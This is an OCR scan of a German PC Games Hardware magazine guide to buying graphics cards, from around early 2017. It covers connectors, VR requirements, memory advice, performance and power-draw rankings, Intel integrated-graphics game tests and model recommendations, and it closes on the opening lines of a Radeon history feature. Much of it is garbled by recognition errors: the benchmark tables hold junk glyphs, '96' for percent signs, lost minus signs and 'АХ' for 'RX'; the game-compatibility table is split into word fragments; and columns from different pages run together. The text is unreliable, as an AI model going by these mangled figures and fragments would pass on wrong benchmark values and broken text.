Hertz, mit Dual-Link sind bis zu 
2.560 x 1.600 Pixel móglich. 


DVI-D(igital) kann keine analo- 
gen Daten übertragen, ansonsten 
unterscheidet sich dieser Stan- 
dard nicht von DVI-I. DVI-D findet 
sich auf fast jeder aktuellen 
Grafikkarte, stirbt jedoch aus. 
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24 Grafikkarten: Leistungsindex gesamt Leistungsindex Full HD (1080p) 
PCGH-Leistungsindex: 19 Spiele in 3 Auflösungen + 1 Open-CL-Anwendung PCGH-Leistungsindex Full HD: 19 Spiele in 1.920 x 1.080 Pixel 
Titan X-P/12G (1.531/5.006 MHz) 100 (+137 %) Titan X-P/12G (1.531/5.006 MHz) В 100 (+120 96) 
GTX 1080/8G (1.733/5.006 MHz) В 84,3. (+100 %) GTX 1080/8G (1.733/5.006 MHz) En 87,1 (+92 96) 
GTX 1070/8G (1.683/4.007 MHz) EEE 68,8 (+63 90) GTX 1070/8G (1.683/4.007 MHz) ВЕ 72 4 (+59 %) 
GTX 980 Ti/6G (1.076/3.506 MHz) EX 63,7 (+51 96) GTX 980 Ti/6G (1.076/3.506 MHz) XR 66,6 (+47 %) 
R9 Fury X/4G (1.050/1.000 MHz) [EX 60,9 (+44 %) R9 Fury X/4G (1.050/1.000 MHz) [Ew 60,9 (+34 %) 
GTX 1060/6G (1.709/4.007 MHz) EEE 49,9 (+18 %) GTX 1060/6G (1.709/4.007 MHz) EN 53,3 (+17 96) 
АХ 480/8G (1.266/4.000 MHz) EEE 49,1 (+16 96) АХ 480/8G (1.266/4.000 MHz) EEE 50,2 (+11 96) 
R9 390/8G (1.000/3.000 MHz) [Xu 48,6 (+15 96) АХ 480/4G (1.266/3.500 MHz) EEE 47,7 (+5 %) 
RX 480/46 (1.266/3.500 MHz) EX 46,4 (+10 96) R9 390/8G (1.000/3.000 MHz) [XR 47,6 (+5 %) 
R9 290/4G (947/2.500 MHz) EEE 43,9 (+4 96) GTX 1060/3G (1.709/4.007 MHz) EEE 47 6 (+5 96) 
GTX 1060/3G (1.709/4.007 MHz) EEE 43,5 (+3 96) GTX 970/3,5+0,5G (1.178/3.506 MHz) EEE 45,4 (Basis) 
АХ 470/8G (1.205/3.300 MHz) EEE 42,8 (+1 96) АХ 470/8G (1.205/3.300 MHz) ШЕЕ 44,1 (-3 96) 
GTX 970/3,5+0,5G (1.178/3.506 MHz) EEE 42,2 (Basis) R9 290/4G (947/2.500 MHz) EEE 43,6 (-4 %) 
АХ 470/46 (1.205/3.300 MHz) EX 41,8 (-1 %) АХ 470/46 (1.205/3.300 MHz) ВЕ 43,3 (-5 %) 
GTX 780/3G (901/3.004 MHz) ЖШШЕ 34,8 (-18 96) GTX 780/3G (901/3.004 MHz) ES 37,8 (-17 96) 
R9 280X/3G (1.000/3.000 MHz) XS 34,4 (-18 96) R9 280X/3G (1.000/3.000 MHz) EX 34,3 (-24 96) 
R9 380/4G (970/2.850 MHz) [ER 31,9 (24 %) GTX 770/46 (1.124/3.500 MHz) ВЕ 33,7 (-26 %) 
GTX 770/4G (1.124/3.500 MHz) Xu 31,3 (26 %) R9 380/4G (970/2.850 MHz) [X 32,7 (28 %) 
R9 380/2G (970/2.750 MHz) EX 27,8 (34 96) GTX 770/26 (1.124/3.500 MHz) | 30,3 (-33 96) 
GTX 1050 Ti/4G (1.392/4.007 MHz) E 27,1 (-36 %) R9 380/26 (970/2.750 MHz) [EE 30,1 (34 96) 
GTX 770/2G (1.124/3.500 MHz) ES 26,3 (-38 %) GTX 1050 Ti/4G (1.392/4.007 MHz) [E 28,7 (-37 %) 
GTX 1050/26 (1.455/4.007 MHz) EEE 21,6 (-49 %) GTX 1050/26 (1.455/4.007 MHz) ШШШ 24,5 (-46 9) 
АХ 460/4G (1.200/3.500 MHz) IX 21,5 (49 %) АХ 460/4G (1.200/3.500 MHz) EX 22,6 (-50 96) 
АХ 460/2G (1.200/3.500 MHz) ШШ 18,6 (-56 96) АХ 460/2G (1.200/3.500 MHz) ШШ 20,4 (-55 96) 
System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiByte DDR4-3000 (17); Win 10 x64 index System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiByte DDR4-3000 (17); Win 10 x64 HS 
Bemerkungen: Basis ist die verbreitetste Grafikkarte laut Steam Hardware Survey le Besser Bemerkungen: Basis ist die verbreitetste Grafikkarte laut Steam Hardware Survey | e Becsei 
(Dezember 2016). Die 300-Euro-Riege ist circa halb so schnell wie die Titan X (1.359 Euro). (Stand: Dezember 2016). In FHD kommen die alten GTX-780-/R9-290-Chips noch gut mit. 
Leistungsindex WQHD (1440p) Leistungsindex Ultra HD (2160p) 
PCGH-Leistungsindex WQHD: 19 Spiele in 2.560 x 1.440 Pixel PCGH-Leistungsindex UHD: 19 Spiele in 3.840 x 2.160 Pixel 
Titan X-P/12G (1.531/5.006 MHz) [EE 100 (+147 96) Titan X-P/12G (1.531/5.006 MHz) EE 100 (+179 96) 
GTX 1080/8G (1.733/5.006 MHz) KÓ[<WÑIRGIWWIIGIMIKXDMIMRIGKIAIR 83,0 (4-105 96) GTX 1080/8G (1.733/5.006 MHz) EE 79,7 (+123 %) 
GTX 1070/8G (1.683/4.007 MHz) ВЕ 66,2 (4-63 96) GTX 1070/8G (1.683/4.007 MHz) EX 63,7 (+78 %) 
GTX 980 Ti/6G (1.076/3.506 MHz) EN 61,8 (4-53 96) GTX 980 Ti/6G (1.076/3.506 MHz) EN 58,9 (+65 96) 
R9 Fury X/4G (1.050/1.000 MHz) EN 57,5 (+42 96) R9 Fury X/4G (1.050/1.000 MHz) EN 54,7 (+53 %) 
GTX 1060/6G (1.709/4.007 MHz) EEE 47,6 (+18 96) R9 390/8G (1.000/3.000 MHz) Xu 44,6 (4-25 %) 
АХ 480/8G (1.266/4.000 MHz) ВЕ 45,7 (+13 %) GTX 1060/6G (1.709/4.007 MHz) EEE 44,4 (+24 %) 
R9 390/8G (1.000/3.000 MHz) E 44,8 (+11 96) АХ 480/8G (1.266/4.000 MHz) Xu 43,6 (+22 96) 
АХ 480/4G (1.266/3.500 MHz) EN 43,2 (+7 %) АХ 480/4G (1.266/3.500 MHz) XX 40,1 (+12 96) 
GTX 1060/3G (1.709/4.007 MHz) EEE 41,8 (+3 96) R9 290/46 (947/2.500 MHz) EEE 39,1 (+9 90) 
R9 290/4G (947/2.500 MHz) EEE 40,5 (+0 96) АХ 470/8G (1.205/3.300 MHz) ЖШШЕ 37,8 (+6 96) 
GTX 970/3,5+0,5G (1.178/3.506 MHz) Eu 40,5 (Basis) GTX 970/3,5+0,5G (1.178/3.506 MHz) [XXX 35,8 (Basis) 
АХ 470/8G (1.205/3.300 MHz) Xu 39,9 (-1 %) АХ 470/4G (1.205/3.300 MHz) EX 35,8 (0 96) 
АХ 470/4G (1.205/3.300 MHz) EEE 39,2 (-3 96) GTX 1060/3G (1.709/4.007 MHz) ВЕ 34,4 (4 %) 
GTX 780/3G (901/3.004 MHz) EEE 33,5 (-17 %) GTX 780/3G (901/3.004 MHz) EX 29,3 (-18 %) 
R9 280X/3G (1.000/3.000 MHz) EX 31,7 C22 %) R9 280X/3G (1.000/3.000 MHz) ES 27,9 (22 %) 
GTX 770/4G (1.124/3.500 MHz) XR 30,4 (25 %) R9 380/4G (970/2.850 MHz) [X 27,5 (23 96) 
R9 380/4G (970/2.850 MHz) Eu 29,8 (-26 %) GTX 770/46 (1.124/3.500 MHz) ВЕ 27,5 (-23 96) 
R9 380/26 (970/2.750 MHz) EEE 25,9 (-36 %) GTX 1050 Ti/4G (1.392/4.007 MHz) ШШШ 23,9 (-33 %) 
GTX 1050 Ti/4G (1.392/4.007 MHz) EEE 25,8 (-36 %) R9 380/26 (970/2.750 MHz) ШШ 19,1 (-47 %) 
GTX 770/26 (1.124/3.500 MHz) EEE 25,0 (-38 %) GTX 770/26 (1.124/3.500 MHz) EEE 18,9 (-47 %) 
GTX 1050/26 (1.455/4.007 MHz) EEE 20,3 (-50 %) АХ 460/4G (1.200/3.500 MHz) EEE 17,9 (-50 96) 
АХ 460/4G (1.200/3.500 MHz) В 19,7 (-51 96) GTX 1050/26 (1.455/4.007 MHz) [EE 15,6 (-56 96) 
АХ 460/26 (1.200/3.500 MHz) ЫШ 17,2 (-58 96) АХ 460/2G (1.200/3.500 MHz) В 12,3 (-66 96) 
System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiByte DDR4-3000 (17); Win 10 x64 index: System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiByte DDR4-3000 (17); Win 10 x64 Index 
Bemerkungen: Basis ist die verbreitetste Grafikkarte laut Steam Hardware Survey І We Besser Bemerkungen: Basis ist die verbreitetste Grafikkarte laut Steam Hardware Survey o le Bosser 
(Stand: Dezember 2016). In WQHD machen RX 480/8G und GTX 1060/6G eine gute Figur. (Stand: Dezember 2016). In UHD liefert die GTX 1070 das beste Preis-Leistungs-Verháltnis. 
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Intel HD Graphics 630/530: Spiele-Kompatibilität und -leistung 


Radeon- und Geforce-Treiber sind 
ausgereift. Doch wie sieht es mit 
Intel-Prozessorgrafik aus? 


Wer zu einem Core i-Prozessor für den 
Sockel 1151 oder im Notebook greift, 
erhält damit automatisch Zugriff auf 
eine prozessorinterne Grafikeinheit 
(IGP). Diese kann weit mehr, als das 
Betriebssystem darzustellen; zu Intels 
Stärken gehört – vor allem bei Kaby 
Lake — die Videobeschleunigung. Auch 
Spielen ist möglich, wenn auch einge- 
schränkt. Wir haben ein gutes Dutzend 
PC-Spiele ausprobiert (siehe Tabelle). 


HDMI und DP existieren auch in 
verkleinerter Bauweise als „Mini“- 
Version. Diese Maßnahme dient le- 
diglich der Platzersparnis, die tech- 
nische Spezifikation ist identisch. 


Virtuelle Realität 

Auch zum Ansteuern eines Head- 
Mounted Device (HMD), um damit 
in VR-Welten abzutauchen, benöti- 
gen Sie eine moderne Grafikkarte 
mit HDMI 1.4; damit funktionieren 
das Oculus Rift und HTC Vive am 
besten. Letzteres lässt sich auch via 
Displayport anschließen, diverse 
Problemberichte im Internet las- 
sen jedoch darauf schließen, dass 
HDMI die erste Wahl darstellt. 


Was die Leistungsfähigkeit der Gra- 
fikeinheiten angeht, gilt: Je mehr, 
desto besser. Da bei VR-Headsets 
pro Auge ein Bild zu berechnen ist, 
fällt trotz der relativ geringen Pro- 
Frame-Auflösung viel Arbeit für die 
GPU an. AMD und Nvidia haben 
auf ihren Websites entsprechende 
VR-Übersichtsseiten angelegt, auf 
denen Empfehlungen und Tipps 
zu finden sind. Demzufolge leisten 
eine Radeon R9 290 und Geforce 
GTX 1060 gute VR-Dienste. Nvidia 
setzt die Mindestanforderung für 
VR höher an als AMD, im Jahr 2015 
wurde jedoch noch eine Geforce 
GTX 970 genannt. Selbstverständ- 
lich laufen VR-Anwendungen auch 
mit langsameren Grafikkarten, al- 
lerdings wirken sich unregelmäßi- 
ge oder geringe Bildraten im virtu- 
ellen Raum deutlich gravierender 
auf Spielspaß und Wohlbefinden 
aus, weshalb Sie die Empfehlungen 
beherzigen sollten. Falls Sie sich für 
den Neukauf eines VR-Gerätes ent- 
schieden haben, legen Sie am bes- 
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Titel 


Verwendete API 


PCGH-Einschätzung 


Anno 2205 Direct X 1 


Fehler 


rei und mit minimalen Details in 720p spielbar, aber flimmrig 


Ashes of the Singularity DX11/DX1 


Starte 


tro 


z Warnmeldung, aber selbst mit minimalen Details unspielbar rucklig 


Assassin's Creed Syndicate Direct X 1 


Fehler 


rei 


, aber unspielbar selbst mit minimalen Details in 720p (5-10 Fps) 


Far Cry Primal Direct X 1 


Grundsatz] 


ich in Ordnung, aber se 


bst mi 


minimalen Details zäh und flimmrig 


Hitman (2016) DX11/DX1 


Unter 


DX1 


1 fehlerfrei, spielbar mit 


minimalen Details in 720p. Startet unter DX12 nicht. 


eed for Speed (2016) Direc 


Grundsátz| 


ich in Ordnung, aber se 


bst mi 


minimalen Details zäh und flimmrig 


Quantum Break Direc 


Grundsatz 


ich in Ordnung, aber se 


bst mi 


minimalen Details zäh und flimmrig 


Rise of the Tomb Raider DX11 


Fehler 


rei unter DX11 und DX12; s 


pielbar mit minimalen Details in 720p (20-30 Fps) 


Star Wars: Battlefront Direc 


Fehler 


rei. 


Flüssig, aber flimmrig spielbar mit minimalen Details in 720p (35-40 Fps) 


he Division Direc 


Fehler 


rei und spielbar mit minima 


en Details in 720p (20-30 Fps) 


Vanishing of Ethan Carter Redux | Direc 


Fehler 


rei und mit minimalen Details in 720p spielbar, aber flimmrig 


he Witcher 3 Direc 


Grundsätz| 


ich in Ordnung, aber se 


bst mi 


minimalen Details zäh und flimmrig 


Watch Dogs Direc 


Fehler 


rei und mit minimalen Details in 720p spielbar, aber flimmrig 


ten noch eine 300-Euro-Grafikkarte 
in den Warenkorb. Weitere Infor- 
mationen zu Oculus Rift, HTC Vive 
sowie Playstation VR finden Sie in 
der PCGH 01/2017. 


Grafikspeicher 

Haben Sie sich für eine Grafikkarte 
entschieden, müssen Sie in Einzel- 
fällen zwischen verschiedenen 
Speichermengen wählen. Basie- 
rend auf unseren Beobachtungen 
in neuen Spielen raten wir in aller 
Deutlichkeit dazu, keine Grafikkar- 
te mit weniger als 4 GiByte Spei- 
cher zu kaufen. PC-Spiele haben 
sich in den vergangenen zwei Jah- 
ren deutlich weiterentwickelt, vor 
allem bei der Beleuchtungs- und 
Texturqualität. Damit geht vor al- 
lem ein deutlich größerer Speicher- 
bedarf einher. Wer moderne Spiele 
wie beispielsweise Deus Ex: Man- 
kind Divided, Quantum Break, 
Watch Dogs 2 und Rise of the Tomb 
Raider mit hohen bis maximalen 
Details spielen möchte, sollte min- 
destens 200 Euro in die Grafikkarte 
investieren. 


Als Gegenwert erhalten Sie eine 
Radeon RX 470 mit 4 GiByte, die 
allen aktuellen Spielen gewachsen 
ist und ein großes Leistungsplus 
gegenüber vielen älteren Chips 
bringt. Nvidia bietet in diesem 
Preisbereich nur die 3-GiByte- 
Version der Geforce GTX 1060 an. 
Diese liefert zwar in älteren und 
bezüglich des Grafikspeichers an- 
spruchslosen Spielen eine etwas 
höhere Leistung als die Radeon RX 
470/4G, bricht jedoch bei den oben 
genannten Titeln (sowie weiteren) 
ein, weshalb wir mit Blick nach 
vorn von diesem Modell abraten. 


Hilfe! D-Sub (VGA) benötigt! 


Sie möchten Ihren liebgewonnenen Retro-Bildschirm weiterverwenden 
und benötigen dazu zwingend eine VGA-Buchse? Es gibt Lösungen. 


Wer auf ein analoges Signal angewiesen ist, hat bei modernen Pixelbeschleuni- 
gern wahrlich schlechte Karten. Die schnellsten lieferbaren Modelle, welche ein 
D-Sub-Signal ausgeben können, sind laut PCGH-Online-Preisvergleich die Club 3D 
R7 250X und die Sparkle GTX 650 Ti. Wer bereits eine neuere oder mächtigere 
Grafikkarte hat, kann diese günstig analogfähig machen: Amazon bietet ein von 
500 Käufern und PCGH erprobtes HDMI-VGA-Adapterkabel von CSL-Computer für 
rund neun Euro an. Dieses wird an den HDMI-Port der Grafikkarte angeschlossen 
und reicht das Signal umgewandelt an einen weiblichen D-Sub-Ausgang weiter, an 


dem sich alte Bildschirme — auch CRTs - betreiben lassen. 


Grafikspeicher: 8, 6, 4 und 3 GiByte im Verlauf 


Hitman: Episode 2 (DX12), max. Details, 1440p - „Sapienza XT“ (60 Sek.) 


Bilder pro Sekunde (Fps) 


80 
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E Radeon RX 480 OC/8G — 59,2 Fps avg. 
Wi Radeon RX 480 OC/4G — 54,6 Fps avg. 
E Geforce GTX 1060 OC/6G — 49,9 Fps avg. 
И Geforce GTX 1060 OC/3G - 38,2 Fps avg. 
0 5 10 15 20 25 30 35 40 45 50 55 60 


Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 
(1T); Windows 10 x64 Bemerkungen: Die Fps-Differenz ergibt sich allein durch Speicherkapazität, da wir mit 
angeglichener Rohleistung testen — siehe Speicher-Ratgeber in der PCGH 12/2016 für alle Details. 
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50 Grafikkarten von 2010 bis 2016: Verbrauch 


Leistungsaufnahme in Watt (Anno 2070 nach zehn Minuten Aufheizzeit) 
Asus GTX 1050 Expedition ВЕ 55 (-76 96) 
EVGA GTX 1050 Ti SC Gaming ШЕ 56 (-76 96) 
MSI GTX 750 Ti Gaming 26 E65 (-72 %) 
Asus RX 460 Strix O4G. E 98 (-58 96) 
КРА? GTX 950 Black OC Sniper Xu 108 (-53 96) 
AMD Radeon HD 7870. E 114 (-51 %) 
Nvidia GTX 1060 6GB FE EEE 120 (-48 %) 
Zotac GTX 1060 3GB Mini Eu 120 (48 96) 
Gainward GTX 1060 Phoenix GS Eu 124 (-46 %) 
MSI GTX 960 Gaming 4G EEE 136 (-41 90) 
AMD Radeon HD 5870 EX 138 (-40 %) 
Nvidia Geforce GTX 1070 FE | 148 (-36 96) 
Nvidia Geforce GTX 560 Ti | 152 (34 %) 
AMD Radeon RX 480/8G | 160 (-31 %) 
Nvidia Geforce GTX 980 Eu 163 (29 %) 
Asus GTX 970 Strix ОС www 165 (-29 96) 
Nvidia Geforce GTX 770 Eu 166 (28 %) 
Nvidia Geforce GTX 1080 FE Eu 171 (26 %) 
Powercolor RX 470 Red Devil Eu 174 (-25 %) 
Nvidia Geforce GTX 680 Eu 174 (-25 %) 
Asus RX 480 Strix ОС aaa www 178 (-23 %) 
AMD Radeon R9 Nano Eu 179 (-23 96) 
Gigabyte GTX 1070 G1 Gaming | 181 (22 %) 
AMD Radeon HD 6970 Ew 186 (-19 %) 
ХЕХ АХ 480 GTR Black Edition [EISE 190 (-18 %) 
Sapphire R9 380 Nitro EX 193 (-16 %) 
AMD Radeon HD 7970 Ew 195 (-16 %) 
Evga GTX 980 SC ACX 2.0 m 197 (-15 90) 
Asus GTX 1080 Strix OC E 199 (-14 96) 
Asus R9 380X Strix ОС ww 199 (-14 96) 
MSI GTX 980 Gaming 4G [EX 201 (-13 96) 
Nvidia Geforce GTX 780 eu 201 (-13 %) 
MSI GTX 1070 Gaming X 8G Iw 208 (-10 96) 
Nvidia Geforce GTX 580 pu 221 LA 96) 
Nvidia Geforce GTX 980 Ti Eu 224 (-3 %) 
Nvidia Geforce GTX Titan [Eu 230 (-0 %) 
Nvidia Geforce GTX 480 pu 230 (-0 96) 
Nvidia Titan X (Pascal) maak 231 (Basis) 
MSI GTX 1080 Gaming X 8G [Ew 235 (+2 96) 
Nvidia Geforce GTX Titan X ШШ 243 (+5 96) 
AMD Radeon R9290 Fo 244 (+6 %) 
Nvidia Geforce GTX 780 Ti Vo 245 (+6 96) 
Palit GTX 980 Super Jetstream ak 245 (+6 %) 
Zotac GTX 1080 AMP! Extreme EX 259 (+12 %) 
Asus R9 Fury Strix E 263 (+14 96) 
AMD Radeon R9 290X „Uber“ Eu 289 (+25 %) 
MSI GTX 980 Ti Lightning Eu 300 (+30 96) 
Sapphire R9 390X Tri-X ua 303 («31 96) 
AMD Radeon R9 Fury X Eu 321 (+39 90) 
Asus R9 390 Strix DC30C 333 (444 %) 


[VOLTCRAFT, | 


^ 


j 


Ё ENERGY CHECK 3000 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiByte DDR4-3000 (1T); Windows 10 x64 
Bemerkungen: Grafikkarten-Leistungsaufnahme isoliert vom Restsystem gemessen. Für 
private Zwecke tut's ein günstiges Steckdosenmessgerät für den ganzen PC (im Bild). 


Watt 
< Besser 
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Eine relativ zukunftssichere In- 
vestition ist im Preisbereich zwi- 
schen 250 und 300 Euro möglich. 
Hier warten Herstellerdesigns der 
Radeon RX 480/8G und Geforce 
GTX 1060/6G auf Kundschaft. Bei- 
de Modelle sind aktuellen Spielen 
mit maximalen Details gewachsen. 
Wie wir im Speicher-Ratgeber der 
PCGH 10/2016 ausführlich erläu- 
tern, zeigen lediglich 8-GiByte-Gra- 
fikkarten keinerlei Speicherman- 
gelerscheinungen, in diesem Fall ist 
ergo die RX 480/8G die beste Wahl. 
Wer etwas mehr Geld zu investie- 
ren gewillt ist, greift am besten zur 
Geforce GTX 1070, da dieses Nvi- 
dia-Modell im Gegensatz zu GTX 
1080 und Titan X ein ordentliches 
Preis-Leistungs-Verhältnis aufweist. 


Óko? Na logisch! 

Nachdem bis etwa ins Jahr 2010 
jede Leistungssteigerung mit einer 
gegenüber der Vor-Generation er- 
hóhten Leistungsaufnahme einher 


ging, fand ein Umdenken statt. Das 
geschah nicht freiwillig oder aus 
Liebe zur Umwelt, denn hóherer 
Verbrauch ist der bequemste Weg, 
die Leistungsgrenze zu verschie- 
ben. Spátestens beim Erreichen der 
im Rahmen des ATX-Formats spezi- 
fizierten 300-Watt-Marke mit je ei- 
nem sechs- und einem achtpoligen 
Stromstecker waren neue Ansätze 
gefragt - nicht nur, weil Gefahr für 
das Netzteil besteht, sondern auch, 
weil jedes Plus an Energie zu grófse- 
rer Wärmeabgabe führt, die nach 
Möglichkeit ohne  Orkan-Getóse 
abgeführt werden muss. 


Die aktuellen Grafikkarten sind 
der vorläufige Gipfel des Umden- 
kens, die Mittelklasse in Form der 
Geforce GTX 1060 und Radeon 
RX 480 kommt im Falle der Refe- 
renzdesigns mit 120 respektive 
150 Watt Leistungsaufnahme aus 
und leistet dennoch ein Vielfaches 
früherer Midrange-GPUs. Während 


Attraktive Mini-Grafikkarten 


Gigabyte GTX 1070 Mini ITX OC 
Die GTX 1070 Mini ITX OC ist die 
schnellste Grafikkarte für ultrakom- 
pakte Geháuse; mit einer Lánge von 
17,2 Zentimetern passt sie perfekt zu 
Mini-ITX-Hauptplatinen. Ihre Leistung 
und der Verbrauch beim Spielen (höch- 
stens 150 Watt) entsprechen derweil 
einer GTX 1070 Founder's Edition. 
Die Lautheit ist mit maximal 2,5 Sone 
befriedigend. 


EVGA GTX 1050 Ti SC Gaming 

Dank der genügsamen Hardware sind 
platzsparende Designs auf Basis der 
GTX 1050 (Ti) möglich. Während die 
meisten Partner ausufernde Kühler- und 
Platinendesigns verwenden, setzt EVGA 
diesen Vorteil um: Die GTX 1050 Ti SC 
Gaming ist 15,2 Zentimeter kurz, rech- 
net mit höchstens 55 Watt Leistungs- 
aufnahme - ohne Stromstecker — und 
bleibt dabei flüsterleise (max. 0,4 Sone). 


AMD Radeon R9 Nano 
Die Nano ist der wahre Star unter den 


HBM-bestückten Fiji-GPUs. Sie erreicht 
rund 90 Prozent der Fury-X-Leistung, 


begnügt sich dabei aber mit circa 180 
Watt Leistungsaufnahme und 15,3 cm 
Baulänge. Die neueren GTX-1070-Kar- 
ten im Kleinformat sind schneller und 
noch effizienter, dennoch ist die Nano 
die mit Abstand stärkste ITX-Option für 
AMD-Anhánger. 
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das Aufrüsten von einem Chip der 
28-Nanometer-Ära - HD 7000 und 
СТХ 600/700 - nicht automatisch 
zu einem Watt-Downgrade führt, 
befinden sich Nutzer einer 40-nm- 
GPU wie der Geforce GTX 400/500 
und Radeon HD 6000 in der glück- 
lichen Lage, in jeder Hinsicht von 
einem Upgrade zu profitieren, 
sprich: Neben (deutlich) hóherer 
Leistung sinkt der Verbrauch in je- 
der Situation - was will man mehr? 


Der Benchmark auf der linken Sei- 
te gibt Aufschluss darüber, was sich 
zwischen 2010 und 2016 getan hat. 
Neben der absoluten Leistungsauf- 
nahme, bei der sich die Geforce 
GTX 1050 (Ti) eindrucksvoll plat- 
ziert, ist das Fps/Watt-Verhältnis 
umso beeachtlicher. So erreicht 
die GTX 1050 Ti eine wesentliche 
höhere Leistung als die einst sehr 
beliebte GTX 570 - bei einem Vier- 
tel des Energieumsatzes! Wer sein 
Wattbudget behalten, dabei jedoch 


wesentlich bessere Bildrate erhal- 
ten möchte, wechselt beispiels- 
weise von einer GTX 680/770 auf 
eine RX 470/480 oder von einer 
GTX 970 auf eine GTX 1070. Doch 
Vorsicht: Die Takt- und Verbrauchs- 
unterschiede zwischen den Refe- 
renz- und Partnerdesigns sind teil- 
weise sehr groß, weshalb Sie nicht 
nur den abgedruckten Benchmark, 
sondern außerdem unsere ausführ- 
lichen Grafikkartentests studieren 
sollten. Die Quintessenz aller Mess- 
werte finden Sie im Einkaufsführer 
auf Seite 120. 


Noch mehr sparen 

So schön unser aller Hobby ist: 
Spielen ist nicht alles. Das wissen 
auch AMD und Nvidia, weshalb 
Grafikkarten-Leistungs- 
aufnahme auch in weniger an- 
spruchsvollen Situationen gesenkt 
haben. Nehmen wir den Windows- 
Desktop: War es vor einigen Jah- 
ren noch üblich, ihn mit 25 bis 35 


sie die 


Empfehlungen: Radeon 


Ausblick: AMD Radeon Vega 

Auf der Suche nach einer attraktiven 
Radeon-Grafikkarte jenseits der RX 480 
herrscht nach wie vor Leere. AMD ge- 
denkt, seine neue(n) High-End-Karte(n) 
mit Vega-GPU vor Ablauf des ersten 
Halbjahrs zu veröffentlichen. Bis dahin 
greifen Interessenten entweder zur GTX 
1070/1080 oder warten ab — die Furys 


sind nicht mehr empfehlenswert. Weitere 


nfos zu Vega finden Sie im CES-Special. 


HIS RX 470 IceQ X? Turbo 

Unser Preis-Leistungs-Tipp für Full-HD- 
Spieler: HIS’ Interpretation der RX 470 
rägt 4 GiByte Grafikspeicher und bietet 
zumindest auf dem Papier eine werksei- 
ige Übertaktung. Unter Last verhindert 
das straffe Powerlimit ein Halten des 
1.256-MHz-Boosts, dafür setzt die 
ittelklasse-Grafikkarte höchstens 160 
Watt um und erzeugt eine maximale 
Lautheit von guten 1,5 Sone. 
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MSI RX 480 Gaming X 8G 

In der PCGH 10/2016 bewies der 
Hersteller MSI, dass er mit der Gaming 
X 8G die beste RX 480 geschaffen hat. 
Die Karte hält ihren 1.303-MHz-Boost 
in jeder Lage und bleibt dabei ange- 
nehm leise (max. 2,2 Sone in Spielen). 
Nachteilig ist lediglich der relativ große 
Stromdurst: Bis zu 209 Watt fließen 
beim Spielen durch das PC-Netzteil. 


Watt Leistungsaufnahme anzuzei- 
gen, unterschreiten heutzutage 
viele Modelle die 10-Watt-Marke. 
Im Falle von AMD betrifft das nur 
das Polaris-Einsteigermodell Rade- 
on RX 460 mit Verbrauchswerten 
zwischen 7 und 9 Watt, die nächst- 
größeren Geschwister RX 470 und 
480 rangieren zwischen 14 und 18 
Watt (PCGH-Messungen). Nvidia 
hat seine Pascal-Chips noch besser 
im Griff, sogar das Topmodell Titan 
X begnügt sich beim Nichtstun mit 
12 Watt, während sich unzählige 
Geforce-GTX-10-Designs zwischen 
8 und 13 Watt bewegen. Je nach- 
dem, wie viele Stunden Ihr PC pro 
Tag das Betriebssystem und Text- 
programme darstellt, kónnen auf 
das Jahr hochgerechnet nennens- 
werte zweistellige Eurosummen 
zusammenkommen, beispielsweise 
beim bewusst extremen Topmo- 
dell- Wechsel GTX 580 (2011, 33 
Watt) auf Titan X (2016, 12 Watt). 
Gehen wir vereinfacht von acht 


Stunden Laufzeit an 364 Tagen bei 
einem Kilowattstundenpreis von 
28 Cent aus, kostet die GTX 580 
beinahe 27 Euro reine Energie. Die 
Titan X bleibt unter 10 Euro - aller- 
dings müssten Sie diese Karte bei- 
nahe 139 Jahre so laufen lassen, um 
den Neupreis von 1.359 Euro wie- 
der reinzuholen. Auch abseits eines 
solchen Extrembeispiels lohnt es 
sich, nachzurechnen. (rv) 


Fazit Hardware 


Grafikkarten-Kaufberatung 
Moderne Grafikkarten machen alles 
besser als alte, daran besteht kein 
Zweifel. Je älter Ihr Modell ist, desto 
eher lohnt es sich, in eine moderne 
Pascal-Geforce oder Polaris-Radeon 
zu investieren. Das gilt insbesondere 
und ohne Ausnahme, wenn Sie in den 
Genuss einer variablen Bildaktualisie- 
rungsrate, von High Dynamic Range 
oder VR kommen möchten. 


Empfehlungen: Geforce 


Nvidia Titan X (Pascal) 

Nvidias Titan X mit Pascal-Architektur 
ist zweifellos die schnellste Grafikkarte 
auf dem Markt, in Ultra HD kann sie die 
Geforce GTX 1080 um ca. 25 Prozent 
distanzieren. Ihr Preis liegt jedoch rund 
1.000 Euro über dem, was die meisten 
PCGH-Leser auszugeben gewillt sind. 
Wer die höchste Leistung um jeden Preis 
will, ist hier richtig. Die Titan X-P ist nur 
über Nvidias Webshop erhältlich. 


Asus GTX 1060 Strix 06G 

m Test der PCGH 10/2016 erwies sich 
Asus’ Strix O6G als die schnellste GTX 
1060 6GB: Mit Boosts zwischen 1.900 
und 2.000 MHz erzielt sie im Mittel et- 
was höhere Bildraten als die Alternative 
MSI RX 480 Gaming X, kostet jedoch 
auch 50 Euro mehr. Die GTX 1060 
punktet im Duell mit deutlich geringerer 
Leistungsaufnahme, die Strix OC kommt 
mit höchstens 145 Watt aus. 


Zotac GTX 1070 AMP! Extreme 
Einsteigerversionen der GTX 1070 
erzielen rund 2/3 der Titan-X-Leistung, 
kosten jedoch weniger als ein 1/3 — 
damit ist die GTX 1070 der Preistipp 

ür Anspruchsvolle. Zotacs AMP-Edition 
kostet beinahe 500 Euro, boostet dafür 
jedoch gute 15 Prozent hóher als die 
Founder's Edition (FE) — Frequenzen um 
2 GHz sind die Regel — und bietet einen 
ebenso starken wie leisen Kühler. 
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2006: Radeon X1900 XT 


Die Radeo 
Geschichte 


Radeon, Fury, Polaris und Vega kennen Sie 


natürlich. Doch wissen Sie auch, wann AMD 
ATI übernommen hat und wie die Vorgän- 
ger der Radeon-Grafikkarten hießen? PCGH 
blickt zurück auf mehr als 20 Jahre ATI/ 
AMD-Grafikkarten. 
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2009: Radeon 
HD 5870 


Ў 


EF 
7» 2011/2012: 
Radeon 
HD 7970 


2015: Radeon 
R9 Fury X 
2013: Radeon ya 
R9 290X 


www.pcgameshardware.de 


Vor Vega: Die Radeon-History | SPECIAL 


ei AMD steht der Launch der 
B... GCN-Architekturgene- 
ration mit Codenamen Vega kurz 
bevor. Da die Radeon-Modelle des 
